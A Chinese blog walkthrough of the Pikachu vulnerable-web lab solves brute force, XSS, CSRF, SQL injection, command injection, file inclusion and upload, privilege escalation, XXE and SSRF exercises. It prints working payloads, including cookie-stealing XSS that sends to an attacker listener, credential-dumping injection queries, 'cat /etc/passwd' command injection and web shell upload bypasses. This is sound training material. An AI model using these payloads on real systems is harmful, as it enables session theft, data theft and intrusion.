Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

    • Pikachu靶场
      • 基于表单的暴力破解
      • 验证码绕过(on Server)
      • 验证码绕过(on Clinet)
      • token防爆破
      • 反射型XSS(get)
      • 反射型XSS(post)
      • 存储型XSS
      • DOM型XSS
      • DOM型XSS-X
      • XSS之盲打
      • XSS的过滤
      • XSS之htmlspecialchars
        • htmlspecialchars函数
      • xss之href输出
      • xss之js输出
      • CSRF(get)
      • CSRF(post)
      • CSRF Token
      • 数字型注入(post)
      • 字符型注入(get)
      • 搜索型注入
      • xx型注入
      • "insert/update"注入
      • "delete"注入
      • http头注入
      • 盲注(base on boolian)
      • 盲注(base on time)
      • 宽字节注入
      • exec "ping"
      • exec "evel"
      • File Inclusion(local)
      • File Inclusion(remote)
      • client check
      • MIME type
      • getimagesize
      • 水平越权
      • 垂直越权
      • 目录遍历
      • Icanseeyouabc
      • XXE漏洞
        • 概述
      • 不安全的url跳转
      • SSRF(curl)
      • SSRF(filegetcontent)
    • SUCTF 2019 CheckIn
    • GXYCTF 2019 BabySQli
    • GYCTF 2020 Blacklist
    • RoarCTF 2019 Easy Java
    • CISCN 2019 初赛 Love
    • 0CTF 2016 piapiapia
  • PWN

  • 笔记
  • Web
Zephyr
2022-07-01
目录

Pikachu靶场

# Burte Force

# 基于表单的暴力破解

BrupSuite抓包,发到Intruder

pikachu1

username和password设为变量,使用Cluster bomb模式进行爆破

pikachu2

账号为:admin,密码为:123456

# 验证码绕过(on Server)

抓包发到Repeater,手动修改两次username和password,不更改验证码

pikachu3

pikachu4

Response返回并未提示验证码错误,说明验证码后台不过期,可以重复使用,接下来重复上一节即可。

pikachu5

爆破成功,账号为:admin,密码为:123456

# 验证码绕过(on Clinet)

BrupSuite开启抓包,提交错误的验证码,发现没有新的数据包发往服务器,但网页还是提示验证码错误

pikachu6

查看网页源码,发现验证码部分是前端验证,代码如下

    var code; //在全局 定义验证码
    function createCode() {
        code = "";
        var codeLength = 5;//验证码的长度
        var checkCode = document.getElementById("checkCode");
        var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

        for (var i = 0; i < codeLength; i++) {
            var charIndex = Math.floor(Math.random() * 36);
            code += selectChar[charIndex];
        }
        //alert(code);
        if (checkCode) {
            checkCode.className = "code";
            checkCode.value = code;
        }
    }
    function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码!");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误!");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }

    createCode();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

提交正确的验证码发到Repeater,随意修改验证码字段,Response也未提示验证码错误,说明该字段虽然也提交,但是服务端没有对其进行逻辑处理,接着还是老一套Intruder

pikachu7

爆破成功,账号为:admin,密码为:123456

# token防爆破

随便提交一次,抓到的数据包内发现包含token字段,并且每次提交token值都在变化,重放次数过多会提示错误,并且该token就在网页表单中

这就比较简单了,还是Intruder,给token字段也设为变量,在option中设置正则提取其内容

pikachu8

对应的payload也设置为该正则

pikachu9

开始爆破

pikachu10

爆破成功,账号为:admin,密码为:123456

# Cross-Site Scripting

# 反射型XSS(get)

<script>alert("hello")</script>简单弹个hello看下

pikachu11

可以看到内容被插入到页面了

pikachu12

删除get的message字段,刷新后hello消失,反射型xss

接下来构造的XSS的payload如下:

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
1

经过编码后的链接如下

http://ip/vul/xss/xss_reflected_get.php?message=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fip%3Aport%2Fcookie%3D%22%2BencodeURI%28document.cookie%29%3B%3C%2Fscript%3E&submit=submit#
1

vps开启监听

nc -lvvp 9999
1

模拟访问该链接

pikachu13

获取cookie成功

# 反射型XSS(post)

也是<script>alert("hello")</script>简单弹个hello看下

pikachu14

url无变化,post传参,用hackbar更清楚,删除message字段,刷新后hello消失,反射型xss

pikachu15

反射post型不方便直接构造链接进行攻击,这里手动将下面的payload输入进去

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
1

pikachu16

还是获得了cookie,看着有点乱,对应url解一下码即可

# 存储型XSS

就不弹窗了,直接开冲

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
1

很快啊,cookie就收到了

pikachu17

刷新页面,也还是能收到cookie,存储型xss

# DOM型XSS

随便输入个1

pikachu18

出现在了dom树中,dom型xss,尝试构造恶意dom

' onclick="new Image().src='http://ip:port/?cookie='+encodeURI(document.cookie);">
1

恶意dom拆入后新dom树如下

pikachu19

照例vps开启nc监听,客户端点击后vps收到cookie

pikachu20

# DOM型XSS-X

随便输入个flag,出现在了dom中,并且url内参数也发生了变化,类型get反射型xss

pikachu21

思路一样还是闭合标签,构造恶意dom

' onclick="new Image().src='http://ip:port/?cookie='.concat(encodeURI(document.cookie));">
1

这里连接字符串不能用+号了,+号经url编码后失去了连接符的作用,所以用concat函数替换

同时此种恶意链接经url编码后如下

http://ip/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22new+Image%28%29.src%3D%27http%3A%2F%2Fip%3Aport%2F%3Fcookie%3D%27.concat%28encodeURI%28document.cookie%29%29%3B%22%3E#
1

pikachu22

点击标签中内容,vps即可收到cookie

pikachu23

# XSS之盲打

直接两个输入框都输入下放payload,开冲

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
1

pikachu24

模拟登录管理员后台查看后,vps收到管理员cookie

pikachu25

# XSS的过滤

pikachu27

后面还是弹窗吧,累了,懒得切来切去了

<script>alert(document.cookie)</script>
1

输入后没反应,查看页面发现只剩一个>,不知道具体过滤了啥,无脑先试大小写绕过

<sCriPt>alert(document.cookie)</sCriPt>
1

pikachu26

成功绕过,收获cookie一枚

# XSS之htmlspecialchars

# htmlspecialchars函数

htmlspecialchars(
    string $string,
    int $flags = ENT_COMPAT | ENT_HTML401,
    string $encoding = ini_get("default_charset"),
    bool $double_encode = true
): string
1
2
3
4
5
6

该函数把预定义的字符转换为 HTML 实体

预定义的字符 转换后
& (& 符号) &amp;
" (双引号) &quot;,除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)
< (小于) &lt;
> (大于) &gt;

参数:flag(位掩码,由以下某个或多个标记组成,设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_COMPAT | ENT_HTML401)

常量名称 描述
ENT_COMPAT 会转换双引号,不转换单引号。
ENT_QUOTES 既转换双引号也转换单引号。
ENT_NOQUOTES 单/双引号都不转换。
ENT_IGNORE 静默丢弃无效的代码单元序列,而不是返回空字符串。 不建议使用此标记, 因为它» 可能有安全影响 (opens new window)。
ENT_SUBSTITUTE 替换无效的代码单元序列为 Unicode 代替符(Replacement Character), U+FFFD (UTF-8) 或者 &#xFFFD; (其他),而不是返回空字符串。
ENT_DISALLOWED 为文档的无效代码点替换为 Unicode 代替符(Replacement Character): U+FFFD (UTF-8),或 &#xFFFD;(其他),而不是把它们留在原处。 比如以下情况下就很有用:要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401 以 HTML 4.01 处理代码。
ENT_XML1 以 XML 1 处理代码。
ENT_XHTML 以 XHTML 处理代码。
ENT_HTML5 以 HTML 5 处理代码。

前置知识结束,直接将这些预定义字符一('"&><)起输入看看,结果如下

<div id="xssr_main">
    <p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
     </form>
     <p class="notice">你的输入已经被记录:</p>
    <a href="" &quot;&amp;&gt;&lt;'="">'"&amp;&gt;&lt;</a>            
</div>
1
2
3
4
5
6
7
8
9

输入插入到了dom中,且只有'(单引号)没被转换,利用这点闭合属性,构造恶意payload如下

#' onclick='alert(document.cookie)'
1

恶意payload输入提交后新的页面核心部分如下

<div id="xssr_main">
    <p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
     </form>
     <p class="notice">你的输入已经被记录:</p>
    <a href="#" onclick="alert(document.cookie)" '="">#' onclick='alert(document.cookie)'</a>            
</div>
1
2
3
4
5
6
7
8
9

pikachu28

点击标签弹出cookie

# xss之href输出

pikachu29

要求输入url,随意输入127.0.0.1后dom如下

<div id="xssr_main">
    <p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
    </form>
    <a href="127.0.0.1"> 阁下自己输入的url还请自己点一下吧</a>
</div>
1
2
3
4
5
6
7
8

内容插入了a标签的href属性中,该处也可以执行js代码,构造恶意payload如下

Javascript:alert(document.cookie)
1

提交后,核心dom变化如下

<div id="xssr_main">
    <p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
    </form>
    <a href="Javascript:alert(document.cookie)"> 阁下自己输入的url还请自己点一下吧</a>
</div>
1
2
3
4
5
6
7
8

点击标签,弹出cookie

pikachu30

# xss之js输出

原始页面js核心部分如下

<script>
    $ms='';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>
1
2
3
4
5
6
7
8
9
10
11

随意输入deedbeef后,发现被插入了js代码中

<script>
    $ms='deedbeef';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>
1
2
3
4
5
6
7
8
9
10
11

直接单引号闭合,构造恶意js,并且注释掉后面部分,payload如下

';alert(document.cookie);//
1

pikachu31

提交后,弹出cookie

# CSRF

# CSRF(get)

直接登录kobe账号,点击修改个人信息,修改一个手机号项如下

pikachu32

提交时抓包,请求包内容如下

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=10086&add=nba+lakes&email=kobe%40pikachu.com&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrfget/csrf_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jd3540v9nsn5a332185ddutcek
Connection: close
1
2
3
4
5
6
7
8
9
10

可以看到get请求中并没有防CSRF的token,直接构造恶意链接修改信息为(boy,12580,usa,admin@admin.cn),如下

http://172.26.239.122/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12580&add=usa&email=admin@admin.cn&submit=submit
1

模拟kobe访问该链接,可以看到通过csrf修改了kobe的信息

pikachu33

# CSRF(post)

还是老一套,这次登录lucy账号

pikachu34

随便修改点什么,抓包看到数据是post提交的,这也好办,伪造一个恶意提交表单页面(提交后修改账号内容为boy,12580,usa,admin@admin.cn)

<!DOCTYPE html>
<html>
<head lang="cn">
        <title>csrf_post</title>
        <script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
 </script>
</head>
<body>
       <form action="http://172.26.239.122/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
         <input type="text" name="sex" value="boy"><br>
         <input type="hidden" name="phonenum" value="12580"><br>
         <input type="hidden" name="add" value="usa"><br>
         <input type="hidden" name="email" value="admin@admin.cn"><br>
         <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

模拟lucy访问我们伪造的恶意页面,可以看到通过csrf修改了lucy的信息

pikachu35

# CSRF Token

CSRF的主要问题是敏感操作的链接容易被伪造,那Token是如何防止CSRF的:

  • 每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证
  • 每次刷新页面,token值都会发生变化。这样就防止了CSRF

随意修改内容,第一次请求包数据如下

GET /vul/csrf/csrftoken/token_get_edit.php?sex=10086&phonenum=10086&add=10086&email=10086&token=78116632ec0a6bbe12219421110&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
1
2
3
4
5
6
7
8
9
10

第二次如下

GET /vul/csrf/csrftoken/token_get_edit.php?sex=10010&phonenum=10010&add=10010&email=10010&token=91613632ec0d3169d4241490211&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
1
2
3
4
5
6
7
8
9
10

可以发现token值明显不同,服务端对这个进行校验,(token值够随机,防暴力破解好的话)就可以较为有效过滤掉伪造的CSRF请求

# SQL-Inject

# 数字型注入(post)

抓包,送到Repeater

pikachu36

id字段可注入,数字型

查字段,order by到3报Unknown column '3' in 'order clause',说明就2个字段,id字段注入数据如下

id=1 order by 3
1

查显示位(2个显示位),post数据部分如下

id=-1 union select 1,2
1

pikachu37

查库名,查表名

id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
1

pikachu38

查users表下的字段名(查其他表对应替换table_name)

id=-1 union select database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
1

pikachu39

查users表下的数据

id=-1 union select username,password from users
1

pikachu40

# 字符型注入(get)

name字段可注入,字符型,字段、显示位啥就不查了,一样的

查用户、表名

name=' union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1

pikachu41

查数据库版本、users表下的字段名(查其他表对应替换table_name)

name=' union select version(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
1

pikachu42

查users表下的数据

name=' union select username,password from users#
1

pikachu40

# 搜索型注入

还是name字段可注入,搜索型

查字段,order by到4报Unknown column '4' in 'order clause',说明就3个字段,name字段注入数据如下

name=1%' order by 4#
1

查显示位(3个显示位)

name=1%' union select 1,2,3#
1

查操作系统,查表名

name=1%' union select @@version_compile_os,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
1

查users表下的字段名(查其他表对应替换table_name)

name=1%' union select version(),@@version_compile_os,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
1

查users表下的数据

name=1%' union select username,id,password from users#
1

pikachu43

# xx型注入

name字段可注入,从报错可知,闭合语句需要')

查字段,order by到3报Unknown column '3' in 'order clause',说明就2个字段,name字段注入数据如下

name=') order by 3#
1

查显示位(2个显示位)

name=') union select 1,2#
1

查操作系统,查表名

name=') union select @@version_compile_os,group_concat(table_name) from information_schema.tables where table_schema=database()#
1

查users表下的字段名(查其他表对应替换table_name)

name=') union select @@version_compile_os,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
1

查users表下的数据

name=') union select username,password from users#
1

pikachu44

# "insert/update"注入

username字段可以注入,字符型单引号'

这里选username字段,利用extractvalue函数报错注入

查表名

username=' or extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '
1

查数据库版本、users表下的字段名(查其他表对应替换table_name)

username=' or extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) or '
1

pikachu45

查users表下的数据

username=' or extractvalue(1, concat(0x7e,(select group_concat(username,":",password) from users limit 0,1),0x7e)) or '
1

# "delete"注入

点击删除留言时数据包的id字段可注入,数字型,数据包如下

GET /vul/sqli/sqli_del.php?id=56 HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/sqli/sqli_del.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
1
2
3
4
5
6
7
8
9
10

这次用updataxml函数来报错注入

查表名

id=56 and updatexml(1,concat(0x7e,@@version,0x7e),1)
1

tips:这里是get传参的,需要url编码

pikachu46

# http头注入

pikachu47

直接登录账号,可以发现返回的数据包对之前的UA等HTTP头数据进行了纪录

pikachu48

重新抓包,尝试在UA处测试注入

pikachu49

测试存在SQL注入,字符型单引号'

查表名

' or updatexml(1,concat(0x7e,database()),1) or '
1

pikachu50

最后查个数据吧,其他的不查了,都一样

' or updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users limit 0,1),0x7e),1) or '
1

# 盲注(base on boolian)

搜索不存在的用户例如:hacker

pikachu51

提示用户不存在,再搜一个有的:kobe

pikachu53

保存抓到的请求包为header.txt如下

GET /vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/sqli/sqli_blind_b.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
1
2
3
4
5
6
7
8
9
10

sqlmap直接开跑

sqlmap -r header.txt –current-db
1

pikachu54

# 盲注(base on time)

同样sqlmap直接跑

sqlmap -r header.txt –current-db
1

pikachu55

# 宽字节注入

正常输入kobe,SQL语句使用了like模糊查询

pikachu56

%'闭合无效,尝试宽字节闭合,先来个万能查询

name=%df' or 1=1#
1

pikachu57

查显示位(2个显示位)

name=%df' union select 1,2#
1

pikachu58 查库名,查表名

name=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1

pikachu59

查users表下的数据

name=%df' union select username,password from users#
1

pikachu60

# RCE

# exec "ping"

pikachu61

要求输入IP地址,这里尝试拼接命令,提交后发现可以直接注入命令

localhost & cat /etc/passwd
1

pikachu62

# exec "evel"

pikachu63

要求输入字符串,提示说明使用了eval对接受的字符串进行了执行,提交后返回phpinfo页面

pikachu64

说明可以直接输入恶意php代码,进行RCE

# File Inclusion

# File Inclusion(local)

pikachu65

选择Kobe Bryant提交后,发现url发生了变化,疑似包含了file1.php文件

这里通过目录爆破,得到../../../../之后就是系统根目录了,这里成功包含了/etc/passwd目录

pikachu66

# File Inclusion(remote)

pikachu67

选择Kobe Bryant提交后,还是url发生了变化,这次尝试远程包含文件

编写include.php文件,vps启动http服务

<?php phpinfo();?>
1

访问http://172.26.239.122/vul/fileinclude/fi_remote.php?filename=http://172.26.239.122:4444/include.php&submit=提交后成功远程包含

pikachu68

# Unsafe Filedownload

pikachu69

随便点击一个,抓取数据包,数据包请求信息如下

GET /vul/unsafedownload/execdownload.php?filename=kb.png HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/unsafedownload/down_nba.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
1
2
3
4
5
6
7
8
9

filename像是文件,尝试修改该字段为/etc/passwd,提示文件不存在

pikachu70

利用本地包含的信息,重新修改为../../../../etc/passwd,成功下载该文件

pikachu71

# Unsafe Fileupload

# client check

编写一句话木马文件shell.php,尝试上传抓包

pikachu72

发现并没有数据包发出,就收到了验证信息,为前端验证,直接修改后缀为jpg,抓包后再改回来绕过

pikachu73

成功上传

# MIME type

还是传shell.php,这次改MIME type也就是Content-Type: image/jpeg

pikachu74

成功上传

# getimagesize

前两种单独或结合起来都没用了,这次给shell.php内容中增加图片文件头GIF89a,再上传

pikachu75

这种后门文件没办法通过访问触发了,需要配合解析漏洞或者文件包含使用

# Over Permission

# 水平越权

pikachu76

开启抓包点击查看个人信息按钮

pikachu77

该请求数据包内容如下

GET /vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/overpermission/op1/op1_mem.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jdco7efq49sd079f9m6b68c6fq
Connection: close
1
2
3
4
5
6
7
8
9
10

尝试修改username字段为其他用户例如:vince,即可水平越权,使用lucy账户查看vince用户的信息

pikachu78

# 垂直越权

先使用超级管理员进行登录

pikachu79

点击添加用户,填入对应信息,进行抓包,对应请求数据包如下,暂时发到Repeater

POST /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 172.26.239.122
Content-Length: 112
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.26.239.122
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jdco7efq49sd079f9m6b68c6fq
Connection: close
username=hacker&password=hacker&sex=hacker&phonenum=hacker&email=hacker&address=hacker&submit=%E5%88%9B%E5%BB%BA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

接着登录普通用户,抓取普通用户的cookie,替换超级管理员的cookie部分进行发包

pikachu80

可以看到成功使用无权限普通用户添加了一个hacker的新用户

# ../../

# 目录遍历

pikachu81

这个前面本地文件包含时直接目录爆破得到了../../../../就是系统根目录了,利用这点遍历读取/etc/passwd文件

pikachu82

# 敏感信息泄露

# Icanseeyouabc

直接在链接前插入view-source:,查看网页源代码其中注释部分泄露了账号等敏感信息,如下

<!-- 测试账号:lili/123456-->
<!-- /.widget-body -->
1
2

# PHP反序列化漏洞

php源代码如下

<?php 
    class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);
?> 
1
2
3
4
5
6
7
8
9
10

使用下列代码生成恶意序列化数据

<?php 
    class S{
        public $test = "<script>alert(document.cookie)</script>";
        }
    $code=new S();
    echo serialize($code);
?>
1
2
3
4
5
6
7

生成序列化数据如下

O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
1

提交后,弹出cookie

pikachu83

# XXE

# XXE漏洞

# 概述

  • XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞;XXE扩大了攻击面
  • 当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
  • 防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

pikachu84

我们利用外部实体注入,读取/etc/passwd文件,xml-dtd的payload如下

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE creds [   <!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>  <creds>&goodies;</creds>
1

pikachu85

可以看到成功读取了文件进行显示

# URL重定向

# 不安全的url跳转

  • 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方
  • 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题
  • url跳转比较直接的危害是:钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

pikachu86

点击我就是我,放荡不羁的我后,url更新为

http://172.26.239.122/vul/urlredirect/urlredirect.php?url=i
1

尝试url字段修改为https://www.baidu.com

页面重定向到了https://www.baidu.com,这里恶意利用的话可以搭建恶意站点,诱导用户点击

# SSRF

# SSRF(curl)

点击后显示如下(docker搭建的环境,手动修复了下ip地址)

pikachu87

尝试修改url字段为http://172.26.239.122:3306,进行SSRF端口探测

pikachu88

其他端口探测同理,这里就不演示了,docker只映射了80和3306端口出来

# SSRF(file_get_content)

  • file_get_content 可以对本地和远程的文件进行读取

pikachu89

这里读取本地/etc/passwd文件

http://172.26.239.122/vul/ssrf/ssrf_fgc.php?file=/etc/passwd
1

pikachu90

#web#Pikachu
上次更新: 2022/09/25, 18:41:41
SUCTF 2019 CheckIn

SUCTF 2019 CheckIn→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×